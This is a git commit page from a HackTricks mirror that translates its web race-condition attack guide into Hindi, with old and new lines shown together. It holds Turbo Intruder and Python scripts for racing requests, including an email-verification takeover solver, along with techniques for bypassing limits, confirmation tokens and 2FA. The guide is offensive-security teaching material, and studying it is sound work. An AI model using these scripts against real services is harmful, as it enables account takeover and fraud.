maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-web/websocket-attacks.md', 'src/pentesti

Browse Source
This commit is contained in:
Translator 2025-09-29 14:21:19 +00:00
parent b081e28488
commit 8cefc4a118
3 changed files with 272 additions and 138 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
src/SUMMARY.md
View File

@ -837,9 +837,14 @@
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md) - [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md) - [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md) - [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md) - [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
- [ios CVE-2020-27950-mach_msg_trailer_t](binary-exploitation/ios-exploiting/CVE-2020-27950-mach_msg_trailer_t.md)
- [ios CVE-2021-30807-IOMobileFrameBuffer](binary-exploitation/ios-exploiting/CVE-2021-30807-IOMobileFrameBuffer.md)
- [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md)
- [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md)
- [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md)
# 🤖 AI # 🤖 AI
- [AI Security](AI/README.md) - [AI Security](AI/README.md)

159
src/pentesting-web/race-condition.md
View File

@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
> [!WARNING] > [!WARNING]
> इस तकनीक की गहरी समझ प्राप्त करने के लिए [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) में मूल रिपोर्ट देखें। > इस तकनीक की गहन समझ प्राप्त करने के लिए मूल रिपोर्ट देखें [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Enhancing Race Condition Attacks ## Race Condition हमलों को बेहतर बनाना
Race conditions का लाभ उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई अनुरोध एक ही समय में संभाले जाएं, **उनकी प्रोसेसिंग समय में बहुत कम अंतर के साथ—आदर्श रूप से, 1ms से कम**। race conditions का फायदा उठाने में मुख्य बाधा यह सुनिश्चित करना है कि कई requests एक ही समय में संसाधित हों, और उनके प्रोसेसिंग टाइम में **बहुत कम अंतर — आदर्श रूप से 1ms से कम** हो।
यहां कुछ तकनीकें हैं जो अनुरोधों को समन्वयित करने के लिए हैं: यहाँ आप Requests को सिंक्रोनाइज़ करने के लिए कुछ तकनीकें पा सकते हैं:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: एकल TCP कनेक्शन पर दो अनुरोध भेजने का समर्थन करता है, नेटवर्क जिटर के प्रभाव को कम करता है। हालाँकि, सर्वर-साइड भिन्नताओं के कारण, दो अनुरोध एक सुसंगत race condition exploit के लिए पर्याप्त नहीं हो सकते हैं। - **HTTP/2**: एकल TCP कनेक्शन पर दो requests भेजने का समर्थन करता है, जिससे network jitter का प्रभाव कम होता है। हालांकि, server-side विविधताओं के कारण, दो requests एक स्थिर race condition exploit के लिए पर्याप्त नहीं हो सकते।
- **HTTP/1.1 'Last-Byte Sync'**: 20-30 अनुरोधों के अधिकांश भागों को पूर्व-भेजने की अनुमति देता है, एक छोटे टुकड़े को रोकता है, जिसे फिर एक साथ भेजा जाता है, सर्वर पर समान रूप से पहुंचने को प्राप्त करता है। - **HTTP/1.1 'Last-Byte Sync'**: 20-30 requests के अधिकांश हिस्सों को पहले ही भेजने में सक्षम बनाता है, एक छोटा सा fragment रोका जाता है, जिसे फिर साथ में भेजा जाता है, जिससे server पर एक साथ आगमन हासिल होता है।
**Last-Byte Sync के लिए तैयारी** में शामिल हैं: **Preparation for Last-Byte Sync** में शामिल हैं:
1. अंतिम बाइट को समाप्त किए बिना हेडर और बॉडी डेटा भेजना। 1. headers और body डेटा को अंतिम byte को छोड़कर भेजना, stream को समाप्त किए बिना।
2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना। 2. प्रारंभिक भेजने के बाद 100ms के लिए रुकना।
3. अंतिम फ्रेम को बैच करने के लिए Nagle के एल्गोरिदम का उपयोग करने के लिए TCP_NODELAY को अक्षम करना। 3. अंतिम frames को बैच करने के लिए TCP_NODELAY को disable करना ताकि Nagle's algorithm का उपयोग हो सके।
4. कनेक्शन को गर्म करने के लिए पिंग करना। 4. कनेक्शन को warm up करने के लिए ping करना।
रोकें गए फ्रेम का अगला भेजना एकल पैकेट में उनकी पहुंच का परिणाम होना चाहिए, जिसे Wireshark के माध्यम से सत्यापित किया जा सकता है। यह विधि स्थिर फ़ाइलों पर लागू नहीं होती है, जो आमतौर पर RC हमलों में शामिल नहीं होती हैं। बाद में रोके गए frames को भेजने पर उनका आगमन एक single packet में होना चाहिए, जिसे Wireshark के जरिए verify किया जा सकता है। यह विधि static files पर लागू नहीं होती, जो आमतौर पर RC attacks में शामिल नहीं होते।
### Adapting to Server Architecture ### Server Architecture के अनुसार अनुकूलन
लक्ष्य की आर्किटेक्चर को समझना महत्वपूर्ण है। फ्रंट-एंड सर्वर अनुरोधों को अलग तरीके से रूट कर सकते हैं, जो समय को प्रभावित करता है। महत्वहीन अनुरोधों के माध्यम से पूर्व-emptive सर्वर-साइड कनेक्शन गर्म करना, अनुरोध समय को सामान्य कर सकता है। लक्ष्य की architecture को समझना महत्वपूर्ण है। Front-end servers requests को अलग तरीके से route कर सकते हैं, जिससे timing प्रभावित होती है। महत्वहीन requests के जरिए preemptive server-side connection warming request timing को सामान्य कर सकता है।
#### Handling Session-Based Locking #### Handling Session-Based Locking
PHP के सत्र हैंडलर जैसे ढांचे सत्र द्वारा अनुरोधों को अनुक्रमित करते हैं, संभावित रूप से कमजोरियों को अस्पष्ट करते हैं। प्रत्येक अनुरोध के लिए विभिन्न सत्र टोकन का उपयोग इस समस्या को हल कर सकता है। PHP जैसे frameworks का session handler सत्र के अनुसार requests को serialize करते हैं, जिससे संभावित vulnerabilities छिप सकती हैं। हर request के लिए अलग session tokens का उपयोग इस समस्या को circumvent कर सकता है।
#### Overcoming Rate or Resource Limits #### Overcoming Rate or Resource Limits
यदि कनेक्शन गर्म करना प्रभावी नहीं है, तो dummy अनुरोधों की बाढ़ के माध्यम से वेब सर्वर के दर या संसाधन सीमा विलंब को जानबूझकर ट्रिगर करना एकल-पैकेट हमले को सुविधाजनक बना सकता है, जिससे सर्वर-साइड विलंब उत्पन्न होता है जो race conditions के लिए अनुकूल है। यदि connection warming प्रभावी नहीं है, तो dummy requests के बाढ़ के जरिए web servers के rate या resource limits द्वारा देरी पैदा करने के लिए जानबूझकर trigger करना single-packet attack को सुगम बना सकता है, क्योंकि यह server-side delay उत्पन्न करता है जो race conditions के अनुकूल होता है।
## Attack Examples ## Attack Examples
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप अनुरोध को **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`) पर भेज सकते हैं, आप अनुरोध में उस मान को बदल सकते हैं जिसे आप **`%s`** के लिए ब्रूट फोर्स करना चाहते हैं जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर ड्रॉप डाउन से **`examples/race-single-packer-attack.py`** का चयन करें: - **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: आप request को **Turbo intruder** को भेज सकते हैं (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), आप request में उस value को बदल सकते हैं जिसे आप brute force करना चाहते हैं **`%s`** जैसे `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` और फिर drop down से **`examples/race-single-packer-attack.py`** चुनें:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
यदि आप **विभिन्न मान भेजने** जा रहे हैं, तो आप इस कोड को संशोधित कर सकते हैं जो क्लिपबोर्ड से एक शब्द सूची का उपयोग करता है: यदि आप अलग-अलग values भेजने जा रहे हैं, तो आप code को इस तरह modify कर सकते हैं जो clipboard से एक wordlist का उपयोग करता है:
```python ```python
passwords = wordlists.clipboard passwords = wordlists.clipboard
for password in passwords: for password in passwords:
engine.queue(target.req, password, gate='race1') engine.queue(target.req, password, gate='race1')
``` ```
> [!WARNING] > [!WARNING]
> यदि वेब HTTP2 का समर्थन नहीं करता है (केवल HTTP1.1) तो `Engine.THREADED` या `Engine.BURP` का उपयोग करें, `Engine.BURP2` के बजाय। > अगर वेब HTTP2 को सपोर्ट नहीं करता (केवल HTTP1.1) तो `Engine.THREADED` या `Engine.BURP` का उपयोग `Engine.BURP2` की बजाय करें।
- **Tubo Intruder - HTTP2 एकल-पैकेट हमला (कई एंडपॉइंट)**: यदि आपको 1 एंडपॉइंट पर एक अनुरोध भेजने की आवश्यकता है और फिर अन्य एंडपॉइंट्स पर कई भेजने की आवश्यकता है ताकि RCE को ट्रिगर किया जा सके, तो आप `race-single-packet-attack.py` स्क्रिप्ट को कुछ इस तरह बदल सकते हैं: - **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: यदि आपको 1 endpoint पर एक request भेजनी हो और फिर RCE ट्रिगर करने के लिए अन्य endpoints पर कई requests भेजनी हों, तो आप `race-single-packet-attack.py` script को कुछ इस तरह बदल सकते हैं:
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt # send all the queued requests for this attempt
engine.openGate(currentAttempt) engine.openGate(currentAttempt)
``` ```
- यह **Repeater** में भी उपलब्ध है, Burp Suite में नए '**Send group in parallel**' विकल्प के माध्यम से। - यह **Repeater** में भी उपलब्ध है, Burp Suite के नए '**Send group in parallel**' विकल्प के माध्यम से।
- **limit-overrun** के लिए, आप समूह में **एक ही अनुरोध 50 बार** जोड़ सकते हैं। - **limit-overrun** के लिए आप समूह में **उसी अनुरोध को 50 बार** जोड़ सकते हैं।
- **connection warming** के लिए, आप **group** के **शुरुआत** में कुछ **अनुरोध** जोड़ सकते हैं जो वेब सर्वर के कुछ गैर-स्थिर भाग पर हों। - **connection warming** के लिए आप समूह के **beginning** में web server के किसी non static हिस्से के लिए कुछ **requests** जोड़ सकते हैं।
- **delaying** प्रक्रिया के लिए **एक अनुरोध और दूसरे** के बीच **प्रसंस्करण** में 2 उप-राज्य चरणों में, आप **दोनों अनुरोधों के बीच अतिरिक्त अनुरोध जोड़ सकते हैं**। - दो उप-स्टेट्स वाले चरणों में एक अनुरोध और अगले अनुरोध के प्रोसेसिंग के **between** प्रक्रिया को **delaying** करने के लिए, आप दोनों अनुरोधों के बीच अतिरिक्त **requests** जोड़ सकते हैं।
- **multi-endpoint** RC के लिए, आप **request** भेजना शुरू कर सकते हैं जो **hidden state** की ओर जाता है और फिर इसके तुरंत बाद **50 requests** जो **hidden state** का लाभ उठाते हैं। - एक **multi-endpoint** RC के लिए आप वह **request** भेजना शुरू कर सकते हैं जो **goes to the hidden state**, और उसके तुरंत बाद उस छिपे हुए स्टेट को **exploits the hidden state** करने वाले **50 requests** भेज सकते हैं।
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: इस स्क्रिप्ट का लक्ष्य एक उपयोगकर्ता का ईमेल बदलना है जबकि इसे लगातार सत्यापित किया जा रहा है जब तक कि नए ईमेल का सत्यापन टोकन अंतिम ईमेल पर नहीं पहुंचता (यह इसलिए है क्योंकि कोड में एक RC देखा जा रहा था जहां एक ईमेल को संशोधित करना संभव था लेकिन सत्यापन पुराने पर भेजा गया था क्योंकि ईमेल को इंगित करने वाला चर पहले से पहले वाले के साथ भरा हुआ था)।\ - **Automated python script**: इस स्क्रिप्ट का उद्देश्य एक उपयोगकर्ता का email बदलना है और लगातार उसे verify करते रहना है जब तक नए email का verification token अंतिम email पर नहीं पहुँच जाता (कोड में ऐसा RC देखा गया था जहाँ email को संशोधित किया जा सकता था लेकिन verification पुराने ईमेल पर भेज दिया जाता था क्योंकि email सूचित करने वाला variable पहले वाले से पहले ही populated था)।\
जब प्राप्त ईमेल में "objetivo" शब्द पाया जाता है, तो हम जानते हैं कि हमें बदले गए ईमेल का सत्यापन टोकन प्राप्त हुआ है और हम हमले को समाप्त कर देते हैं। जब प्राप्त ईमेल्स में शब्द "objetivo" पाया जाता है तो हमें पता चलता है कि हमने बदले गए ईमेल का verification token प्राप्त कर लिया है और हम हमला समाप्त कर देते हैं।
```python ```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge # Script from victor to solve a HTB challenge
@ -217,22 +217,22 @@ h2_conn.close_connection()
response = requests.get(url, verify=False) response = requests.get(url, verify=False)
``` ```
### एकल पैकेट हमले में सुधार ### Single Packet Attack में सुधार
मूल शोध में यह बताया गया है कि इस हमले की सीमा 1,500 बाइट्स है। हालाँकि, [**इस पोस्ट**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) में यह बताया गया था कि कैसे एकल पैकेट हमले की 1,500-बाइट सीमा को **IP लेयर फ्रैग्मेंटेशन का उपयोग करके TCP की 65,535 B विंडो सीमा** तक बढ़ाया जा सकता है (एकल पैकेट को कई IP पैकेट में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे पैकेट को फिर से इकट्ठा करने से रोका जा सके जब तक कि सभी फ्रैग्मेंट सर्वर तक नहीं पहुँच जाते। इस तकनीक ने शोधकर्ता को लगभग 166ms में 10,000 अनुरोध भेजने की अनुमति दी। मूल रिसर्च में समझाया गया है कि इस attack की सीमा 1,500 bytes है। हालांकि, [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) में बताया गया है कि IP layer fragmentation का उपयोग करके single packet attack की 1,500-byte सीमा को TCP की 65,535 B window limitation तक बढ़ाना संभव है (एक single packet को कई IP packets में विभाजित करना) और उन्हें अलग-अलग क्रम में भेजना, जिससे तब तक packet का पुनः संयोजन रोका जा सकता है जब तक सभी fragments server तक न पहुँच जाएँ। इस तकनीक ने researcher को लगभग 166ms में 10,000 requests भेजने की अनुमति दी।
ध्यान दें कि हालांकि यह सुधार RC में हमले को अधिक विश्वसनीय बनाता है जो सैकड़ों/हजारों पैकेट को एक साथ आने की आवश्यकता होती है, लेकिन इसके कुछ सॉफ़्टवेयर सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP सर्वर जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` सेटिंग 100, 128 और 250 है। हालाँकि, अन्य जैसे NodeJS और nghttp2 में यह असीमित है।\ ध्यान दें कि हालांकि यह सुधार उन RC मामलों में attack को अधिक reliable बनाता है जिनमें सैकड़ों/हज़ारों packets को एक साथ पहुँचने की आवश्यकता होती है, इसके कुछ software सीमाएँ भी हो सकती हैं। कुछ लोकप्रिय HTTP servers जैसे Apache, Nginx और Go में `SETTINGS_MAX_CONCURRENT_STREAMS` सेटिंग कड़ाई से 100, 128 और 250 पर होती है। हालांकि, अन्य जैसे NodeJS और nghttp2 में यह unlimited है.\
इसका मतलब यह है कि Apache एकल TCP कनेक्शन से केवल 100 HTTP कनेक्शनों पर विचार करेगा (इस RC हमले को सीमित करना)। इसका मूल मतलब है कि Apache केवल एक single TCP connection से 100 HTTP connections ही स्वीकार करेगा (जो इस RC attack को सीमित करता है)।
आप इस तकनीक का उपयोग करते हुए कुछ उदाहरण [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main) में पा सकते हैं। आप इस तकनीक का उपयोग करने वाले कुछ उदाहरण इस repo में पा सकते हैं: https://github.com/Ry0taK/first-sequence-sync/tree/main
## कच्चा BF ## Raw BF
पिछले शोध से पहले, कुछ पेलोड थे जो केवल पैकेट को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि एक RC का कारण बन सके। पिछले research से पहले कुछ ऐसे payloads उपयोग किए जाते थे जो केवल packets को जितनी जल्दी हो सके भेजने की कोशिश करते थे ताकि RC पैदा हो सके।
- **रीपीटर:** पिछले अनुभाग से उदाहरण देखें। - **Repeater:** पिछले सेक्शन के उदाहरण देखें।
- **इंट्रूडर**: **Intruder** को **अनुरोध** भेजें, **विकल्प मेनू में** **थ्रेड्स की संख्या** को **30** पर सेट करें, और **Null payloads** के रूप में पेलोड चुनें और **30** उत्पन्न करें। - **Intruder**: **request** को **Intruder** पर भेजें, **Options menu** के अंदर **number of threads** को **30** पर सेट करें, payload के रूप में **Null payloads** चुनें और **30** जनरेट करें।
- **टर्बो इंट्रूडर** - **Turbo Intruder**
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, engine = RequestEngine(endpoint=target.endpoint,
@ -283,71 +283,71 @@ asyncio.run(main())
### Limit-overrun / TOCTOU ### Limit-overrun / TOCTOU
यह रेस कंडीशन का सबसे बुनियादी प्रकार है जहाँ **कमजोरियाँ** उन स्थानों पर **प्रकट** होती हैं जो **आपको एक क्रिया करने के लिए कितनी बार सीमित करते हैं**। जैसे कि एक वेब स्टोर में एक ही डिस्काउंट कोड का कई बार उपयोग करना। एक बहुत आसान उदाहरण [**इस रिपोर्ट**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**इस बग**](https://hackerone.com/reports/759247)** में पाया जा सकता है।** यह race condition का सबसे बुनियादी प्रकार है जहाँ **vulnerabilities** उन जगहों पर **प्रकट** होते हैं जो किसी कार्रवाई को करने की संख्या को **सीमित** करते हैं। उदाहरण के लिए किसी वेब स्टोर में एक ही डिस्काउंट कोड को कई बार उपयोग करना। एक बहुत ही साधारण उदाहरण [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) या [**this bug**](https://hackerone.com/reports/759247)**.**
इस प्रकार के हमले के कई रूप हैं, जिनमें शामिल हैं: इस प्रकार के हमले के कई रूप हैं, जैसे:
- एक उपहार कार्ड को कई बार भुनाना - एक gift card को कई बार redeem करना
- एक उत्पाद को कई बार रेटिंग देना - किसी उत्पाद को बार-बार रेट करना
- अपने खाते के बैलेंस से अधिक नकद निकालना या ट्रांसफर करना - अपने account balance से अधिक राशि withdraw या transfer करना
- एक ही CAPTCHA समाधान का पुनः उपयोग करना - एक ही CAPTCHA solution को reuse करना
- एंटी-ब्रूट-फोर्स दर सीमा को बायपास करना - Bypassing an anti-brute-force rate limit
### **Hidden substates** ### **Hidden substates**
जटिल रेस कंडीशनों का शोषण अक्सर छिपे हुए या **अनपेक्षित मशीन उप-राज्यों** के साथ बातचीत करने के लिए संक्षिप्त अवसरों का लाभ उठाने में शामिल होता है। इसे कैसे करना है: कठिन race conditions का फायदा अक्सर उन छोटे समय-खिड़कियों में उठाया जाता है जहाँ आप hidden या **unintended machine substates** के साथ इंटरैक्ट कर सकते हैं। इस तरह से आगे बढ़ें:
1. **संभावित छिपे हुए उप-राज्यों की पहचान करें** 1. **Identify Potential Hidden Substates**
- उन एंडपॉइंट्स को पहचानने से शुरू करें जो महत्वपूर्ण डेटा को संशोधित या इंटरैक्ट करते हैं, जैसे कि उपयोगकर्ता प्रोफाइल या पासवर्ड रीसेट प्रक्रियाएँ। ध्यान केंद्रित करें: - शुरुआत उन endpoints की पहचान से करें जो critical डेटा जैसे user profiles या password reset प्रक्रियाओं को modify या interact करते हैं। ध्यान दें:
- **स्टोरेज**: सर्वर-साइड स्थायी डेटा को संभालने वाले एंडपॉइंट्स को प्राथमिकता दें, बजाय उन डेटा को संभालने वाले जो क्लाइंट-साइड हैं। - **Storage**: उन endpoints को प्राथमिकता दें जो server-side persistent data को manipulate करते हैं, न कि उनपर जो client-side data संभालते हैं।
- **एक्शन**: उन ऑपरेशनों की तलाश करें जो मौजूदा डेटा को बदलते हैं, जो नए डेटा जोड़ने की तुलना में शोषण योग्य स्थितियाँ बनाने की अधिक संभावना रखते हैं। - **Action**: ऐसे operations खोजें जो मौजूदा डेटा को बदलते हैं — नए डेटा जोड़ने की तुलना में ऐसे ऑपरेशन exploit करने के लिए अधिक संभावित होते हैं।
- **कीइंग**: सफल हमले आमतौर पर उसी पहचानकर्ता पर की गई ऑपरेशनों में शामिल होते हैं, जैसे कि उपयोगकर्ता नाम या रीसेट टोकन। - **Keying**: सफल हमलों में आम तौर पर वही identifier उपयोग होता है, जैसे username या reset token।
2. **प्रारंभिक परीक्षण करें** 2. **Conduct Initial Probing**
- पहचाने गए एंडपॉइंट्स पर रेस कंडीशन हमलों के साथ परीक्षण करें, किसी भी अपेक्षित परिणामों से विचलन के लिए अवलोकन करें। अप्रत्याशित प्रतिक्रियाएँ या एप्लिकेशन व्यवहार में परिवर्तन एक कमजोरी का संकेत दे सकते हैं। - पहचाने गए endpoints पर race condition हमले करके टेस्ट करें और अपेक्षित परिणामों से किसी भी विचलन को observe करें। अप्रत्याशित responses या एप्लिकेशन व्यवहार में बदलाव vulnerability का संकेत दे सकते हैं।
3. **कमजोरी का प्रदर्शन करें** 3. **Demonstrate the Vulnerability**
- हमले को कमजोरियों का शोषण करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर केवल दो। इस चरण में सटीक समय के कारण कई प्रयासों या स्वचालन की आवश्यकता हो सकती है। - हमले को exploit करने के लिए आवश्यक न्यूनतम अनुरोधों की संख्या तक सीमित करें, अक्सर बस दो। इस चरण में precise timing के कारण कई प्रयास या automation की आवश्यकता हो सकती है।
### Time Sensitive Attacks ### Time Sensitive Attacks
अनुरोधों के समय में सटीकता कमजोरियों को प्रकट कर सकती है, विशेष रूप से जब सुरक्षा टोकनों के लिए पूर्वानुमानित विधियों जैसे टाइमस्टैम्प का उपयोग किया जाता है। उदाहरण के लिए, टाइमस्टैम्प के आधार पर पासवर्ड रीसेट टोकन उत्पन्न करना समानांतर अनुरोधों के लिए समान टोकन की अनुमति दे सकता है। अनुरोधों के समय में सटीकता vulnerabilities उजागर कर सकती है, खासकर जब security tokens के लिए timestamps जैसे predictable तरीके उपयोग किए गए हों। उदाहरण के लिए, timestamp पर आधारित password reset tokens simultaneous requests के लिए identical tokens पैदा कर सकते हैं।
**शोषण करने के लिए:** To Exploit:
- सटीक समय का उपयोग करें, जैसे एकल पैकेट हमला, समानांतर पासवर्ड रीसेट अनुरोध करने के लिए। समान टोकन एक कमजोरी का संकेत देते हैं। - सटीक timing का उपयोग करें, जैसे single packet attack, एक साथ password reset requests करने के लिए। identical tokens vulnerability का संकेत हैं।
**उदाहरण:** Example:
- एक ही समय में दो पासवर्ड रीसेट टोकन का अनुरोध करें और उनकी तुलना करें। मेल खाते टोकन टोकन उत्पन्न करने में एक दोष का सुझाव देते हैं। - एक ही समय पर दो password reset tokens request करें और उनकी तुलना करें। यदि tokens मेल खाते हैं तो यह token generation में दोष का संकेत है।
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **।** **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## Hidden substates case studies ## Hidden substates case studies
### Pay & add an Item ### Pay & add an Item
इसका परीक्षण करें [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) यह देखने के लिए कि **भुगतान** कैसे करें और **एक अतिरिक्त** आइटम **जोड़ें** जिसके लिए **आपको भुगतान करने की आवश्यकता नहीं होगी**। Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
### Confirm other emails ### Confirm other emails
विचार यह है कि **एक ईमेल पते की पुष्टि करें और इसे एक अलग में बदलें** यह देखने के लिए कि क्या प्लेटफ़ॉर्म नए बदले गए को सत्यापित करता है। विचार यह है कि एक ही समय पर किसी email address को verify किया जाए और उसे किसी दूसरे email में change किया जाए ताकि पता चल सके कि प्लेटफ़ॉर्म नए email को verify करता है या नहीं।
### Change email to 2 emails addresses Cookie based ### Change email to 2 emails addresses Cookie based
[**इस शोध**](https://portswigger.net/research/smashing-the-state-machine) के अनुसार Gitlab इस तरीके से अधिग्रहण के लिए कमजोर था क्योंकि यह **एक ईमेल के ईमेल सत्यापन टोकन को दूसरे ईमेल पर भेज सकता है**। According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab इस तरीके से takeover के लिए vulnerable था क्योंकि यह संभवतः एक email का email verification token दूसरे email पर **send** कर सकता था।
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **।** **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### Hidden Database states / Confirmation Bypass ### Hidden Database states / Confirmation Bypass
यदि **2 अलग-अलग लेखन** का उपयोग करके **जानकारी** को **डेटाबेस** के अंदर **जोड़ने** के लिए किया जाता है, तो एक छोटा सा समय होता है जहाँ **केवल पहला डेटा डेटाबेस के अंदर लिखा गया है**। उदाहरण के लिए, जब एक उपयोगकर्ता बनाया जाता है, तो **उपयोगकर्ता नाम** और **पासवर्ड** को **लिखा** जा सकता है और **फिर टोकन** को नए बनाए गए खाते की पुष्टि करने के लिए लिखा जाता है। इसका मतलब है कि एक छोटे समय के लिए **खाते की पुष्टि करने के लिए टोकन शून्य है**। यदि किसी database में जानकारी जोड़ने के लिए **2 different writes** उपयोग किए जाते हैं, तो एक छोटा सा समय-खिड़की होता है जहाँ केवल पहला डेटा ही database में लिखा गया होता है। उदाहरण के लिए, user बनाते समय पहले **username** और **password** लिखे जा सकते हैं और उसके बाद newly created account को confirm करने के लिए token लिखा जा सकता है। इसका अर्थ है कि एक छोटे समय लिए account confirm करने का **token null** हो सकता है।
इसलिए **एक खाता पंजीकृत करना और तुरंत खाली टोकन के साथ कई अनुरोध भेजना** (`token=` या `token[]=` या किसी अन्य भिन्नता) एक खाते की पुष्टि करने की अनुमति दे सकता है जहाँ आप ईमेल को नियंत्रित नहीं करते हैं। इसलिए एक account register करना और तुरंत account confirm करने के लिए खाली token के साथ कई requests भेजना (`token=` या `token[]=` या कोई अन्य variation) c**onfirm an account** की अनुमति दे सकता है जहाँ आप email को control नहीं करते।
**इसका परीक्षण करें** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **।** **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Bypass 2FA ### Bypass 2FA
निम्नलिखित प्सuedo-कोड रेस कंडीशन के प्रति संवेदनशील है क्योंकि बहुत छोटे समय में **2FA लागू नहीं होता** जबकि सत्र बनाया जाता है: The following pseudo-code is vulnerable to race condition because in a very small time the **2FA is not enforced** while the session is created:
```python ```python
session['userid'] = user.userid session['userid'] = user.userid
if user.mfa_enabled: if user.mfa_enabled:
@ -355,24 +355,26 @@ session['enforce_mfa'] = True
# generate and send MFA code to user # generate and send MFA code to user
# redirect browser to MFA code entry form # redirect browser to MFA code entry form
``` ```
### OAuth2 स्थायी स्थायीता ### OAuth2 की शाश्वत स्थिरता
कई [**OAUth प्रदाता**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) हैं। ये सेवाएँ आपको एक एप्लिकेशन बनाने और उन उपयोगकर्ताओं को प्रमाणित करने की अनुमति देंगी जिन्हें प्रदाता ने पंजीकृत किया है। ऐसा करने के लिए, **क्लाइंट** को **आपके एप्लिकेशन** को **OAUth प्रदाता** के अंदर उनके कुछ डेटा तक पहुँचने की **अनुमति** देनी होगी।\ कई [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers) मौजूद हैं। ये सेवाएँ आपको एक application बनाने और उन users को authenticate करने की अनुमति देती हैं जिन्हें provider ने रजिस्टर किया है।
